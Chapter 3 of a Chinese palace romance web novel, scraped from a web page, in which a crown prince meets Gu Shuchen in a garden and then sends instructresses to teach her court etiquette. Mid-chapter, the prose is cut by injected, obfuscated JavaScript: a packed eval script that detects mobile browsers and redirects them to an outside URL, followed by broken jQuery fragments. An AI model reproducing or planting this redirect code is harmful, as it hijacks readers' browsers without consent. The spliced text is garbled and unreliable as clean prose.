山辞尘 作品

3. 第3章

冷冷的声音从头顶传来,顾姝臣抬眼便撞进了那一双深眸里。


男子剑眉星目,眼尾上挑,明明该是很风流的样貌,却硬生生被自己矜贵冷清压了下去。


此刻他薄唇紧抿,看起来心情并不好。


“多……多谢公子。”顾姝臣连忙想退开,慌乱中发间步摇流苏竟和对方玉冠缠在了一起。


顾姝臣伸手去解,可越是手忙脚乱,那银丝就越是绞作一团。倒显得像是顾姝臣故意投怀送抱似的。


“看来不光眼瞎,手也笨得要命。”


那男子冷哼一声,忽然从腰间抽出匕首。


“你……你要干什么?”顾姝臣看着他手里闪着寒光的匕首,心下大骇。


自己不就是不小心摔进他怀里……又不是故意的,至于灭口吗!


就在顾姝臣惊骇不已时,寒光闪过,那缠在一起的丝链应声而落。


顾姝臣还没来得及心疼那上好的珍珠步摇,就听那人冷冰冰的声音又道:“连御花园的路都认不清,顾将军没有教过你不要胡乱在宫里走动吗?”


顾姝臣倏地涨红了脸,耳尖都要烧起来,只是面前这人到底是帮了自己,只好僵硬行礼道:“多谢公子出手相助。”


那男子居高临下地看着她,眸中倒映着她绯红的脸颊,看起来颇为不满:“谢礼就免了。小姐留着这份机灵劲儿好好学学礼节吧。东宫的门槛可比御花园滑多了。”


好嘛,亏顾姝臣还想感谢他。这张嘴,可真真是不饶人!


顾姝臣攥着狐裘的手蓦地收紧,正要反驳,却见那人转身,大氅翻涌如墨云,略过她手背:“往东过三座月洞门,见到金丝楠木匾额左转。”


那男子刚走出几步,就听到身后如娇莺一般婉转的声音响起:“公子你——你叫什么名字?”


沈将时头也不回地答道:“沈二。”


顾姝臣怔怔地看着他的身影消失在梅林深处,心口扑通乱跳个不停,不知是气的还是羞的。


沈将时见那一团娇小的影子弯腰拾起地上的珠链,渐渐变成一个小点,才从树丛中出来。


一旁内侍魏有得等候良久,主子不让他动,他也只好缩在树下,丝丝冷气从泥土里钻出来,冻得他直哆嗦。


“顾小姐的规矩学得不好。”沈将时眸色渐深,冷冰冰地开口,“明日派几个教习女官去将军府上,我东宫可容不下不规矩的女子。”


谢有得听了他毫不留情的话,额头直冒冷汗,却还得点头应是。


主子这脸翻得也忒快了。


刚才还怕吓到人家姑娘,颇为怜香惜玉地撇下他一人走上前去给人家指路。现在就要叫女官上府教规矩,宫廷女官那手法,可别管是谁,真是一点情面不留。


他真是弄不清主子的心思了。


“就算是没过门的侧妃,也该稳重沉静些。”沈将时眉山紧蹙,“原话告诉顾将军,若是她学不会,也不必入我东宫的门了。”


魏有得又是点头又是哈腰,心里却想着,要是自己真这么说了,非得叫顾将军拿大棒子打出去不可。


看着沈将时的背影,魏有得心里暗叹,有这么位坐怀不乱清心寡欲的主子,主子娘娘日后的日子不好过啊。


沈将时却没觉得有什么不妥。


他自在书房开蒙起,日日以储君的要求鞭策自己,克己复礼,从不纵情享乐,哪怕在吃食上都是克制着自己,更别说男女情爱了。


岁数到了以后,母后倒是按照旧例送了两个侍妾来,只是他兴趣寥寥,索性放在后院里好吃好喝供着,图个清净。


只是这次不一样。


东宫侧妃,在太子妃没定下来之前,都是东宫的女主人,这个人选,势必要慎重。


沈将时脑海中划过那狐裘包裹着的倩影。


母后怎么选了这么个人?


沈将时心里暗暗叹息。


他果然没看走眼。


……


腊月廿二,将军府檐角下冰凌如利剑,在日光下折射着熠熠寒光。


顾姝臣趴在绣楼雕花窗边,玩弄着手里的珠链。


沈二……


姝臣那日回来以后,也派人暗中去打听过这个人,奈何到现在都没有结果。


既能泰然自若地出现在御花园里,又是国姓沈,大概是位皇亲国戚。


可京城里皇亲国戚何其多?要找这么一位可谓大海捞针。


顾姝臣黛眉微蹙,抬眼便看到两个穿鸦青色比甲的女官踏雪而来,腰间的玉牌在雪地的映衬下格外显眼。


“姑娘快坐好!”采薇急忙去扯姝臣的袖子,“女官们来了!”


闻言,顾姝臣掀了掀眼皮,神色恹恹地坐起身。


她从宫宴回来第二日,太子殿下莫名派了两位教习女官来府里,说要教导顾姝臣日后入宫的规矩。


顾姝臣只觉莫名其妙。赏花宴上她连太子的面都没见,他怎么就断定自己目无规矩了。


这事可把谢夫人吓了一跳,疑心是皇后娘娘不满顾姝臣,借此来敲打敲打,数次逼问顾姝臣到底在宴会上有什么不得体的地方。但饶是清河郡主也说不出个所以然来。


谢夫人惶惶不可终日,几次欲给宫里递牌子向皇后娘娘请罪。好在魏有得及时来了将军府,旁敲侧击地解释只是太子一人行为,与皇后娘娘无关。


谢夫人安下心来,态度也翻天覆地大转变,恳请女官们好好教导教导顾姝臣,改改她那个撒娇的性子。


这一个月过去。顾姝臣感觉自己的忍耐已经要到极限。


戒尺敲在几案上,发出阵阵脆响。


为首女官面冷似铁:“小姐可熟记宫规百则了?”


顾姝臣看着桌上三尺厚的绢册,忽觉有些喘不上气。那日梅林中沈二冷厉的眉眼在面前晃呀晃,不知怎地就与太子谕旨上的朱砂印渐渐重合。


午膳前背宫规,午膳后练仪态,这一个月来雷打不动。


在母亲十数年教导下,顾姝臣自以为仪态已经很好了,可是落在女官眼里,还是上不得台面。


顾姝臣看孙刘二位女官,简直比那阎罗殿里阎王爷还可怖。


“女子行止端庄,不可疾行快步。”孙女官板着脸,手里的戒尺突然抽在顾姝臣小腿上,“请小姐再走一遍。”


顾姝臣疼得直呲牙,脸上却不敢表露分毫。


鎏金香炉烧到第三柱,顾姝臣这一天总算结束了。


晚膳时,她给父亲看自己被打红的手心,委屈地直落泪。


顾将军是个儒将,家里三个孩子,两个小子犯浑淘气动过几次手,对顾姝臣这个小妹,是从来一句重话也没说过。看着顾姝臣委屈的样子,心疼得要命。


“这打的……要不,算了。我去跟皇上请旨,就、就说姝儿有咳疾……”</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116353|164183||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


话还没说完,就被谢夫人一眼瞪了回去:“诶诶诶,哪有这么咒自己女儿的。”


谢夫人没好气地瞥一眼顾将军:“再说了,顾云舟,你这也十年没上过战场了吧,是有多大的本事,让皇上朝令夕改,你可少给自己脸上贴金。”


顾将军被夫人揭了老底,登时老脸一红,急急反驳道:“那不是英雄无用武之地吗……”


顾姝臣大哥顾慕臣给自己碗里夹着菜,一边见缝插针地开口:“要不,我去跟太子说说,让他把这女官撤了。”


他停下筷子,看着妹妹哭花的小脸,忍俊不禁道:“我就说我妹妹最规矩了,定不会搅得他东宫不宁后院起火。”


顾姝臣泪眼朦胧地瞪着大哥,大声反驳:“我、我本来就规矩!”


顾慕臣依旧嬉皮笑脸:“我可没说你不规矩啊!”


看着大哥漫不经心的样子,顾姝臣心里愈发委屈了。最疼自己的二哥在边关没回来,这个家连个帮她说话的人都没有!


“那我、那我自己去找太子!”顾姝臣愤愤地说道,恶狠狠地夹了一筷子豆芽,“顺便问问太子,认不认识顾慕臣这人是谁!”


眼看这兄妹俩要吵架,最后,还是谢夫人一锤定音。


“顾姝臣,你就给我好好听女官教导,别人求都求不来的好事,哪能由着你的性子!


“顾慕臣,不许再胡说八道逗你妹妹,多大个人了跟没长大似的,拿出去都丢脸。


“顾云舟,你就老老实实在朝堂,别出头也别拖后腿,别整天跟个愣鸽子似的在皇上面前瞎点眼。”


听完谢夫人疾言厉色一番话,顾姝臣只好用袖子摸一把眼泪,努力咽回去哭声。


顾慕臣想顶嘴又被瞪回去,顾将军蔫了吧唧地低着头,尴尬地笑着给谢夫人夹菜。


……


“这几日,顾氏怎么样?”沈将时坐在桌案后,烛光打在他衣袖的金织纹络上,映出一片华光。


二位女官恭敬回话:“小姐行事端正合乎礼数,偶尔出错,奴婢们提醒几句,也是很听得进去的。”


说罢,沈将时沉默片刻,脸上表情没什么变化:“孤信任二位女官,是因为你们以前是母后身边的人。”


沈将时手指轻轻叩着桌面,面上神色仍是居高临下的冷冽:“正因如此,你们要一心为母后考虑,莫要辜负了母后和孤的苦心。”


女官们忙不迭应是。


“只是,孤也不得不多说一句。”沈将时抬眼看着二位女官,唇角带着一丝漫不经心的笑意,“顾氏日后毕竟是要入东宫的,规矩好不好,终究是依孤的心意。”


二位女官躬身听训,额头已经冒出层层冷汗。


“所以,也不必因为想着立母后的威,对顾氏声色俱厉。”


女官们忙行礼应和,深情恳切地表着衷心,说什么一心全为太子和顾小姐,绝无二心云云,听得沈将时头大,索性摆手让他们下去了。


女官走后,沈将时抬手轻按着太阳穴。


要不是沈慕臣拐弯抹角地跟自己提了一嘴,他还真不知道自己派去的女官对顾姝臣竟是那般疾眼遽色。


想到那日那一双清亮的眸子,沈将时心头一动,叫魏有得进来。


魏有得猫着腰,垂手而立:“主子有何吩咐?”


“除夕宫宴,”沈将时眉目疏淡,薄唇微抿,“顾氏可会前往?”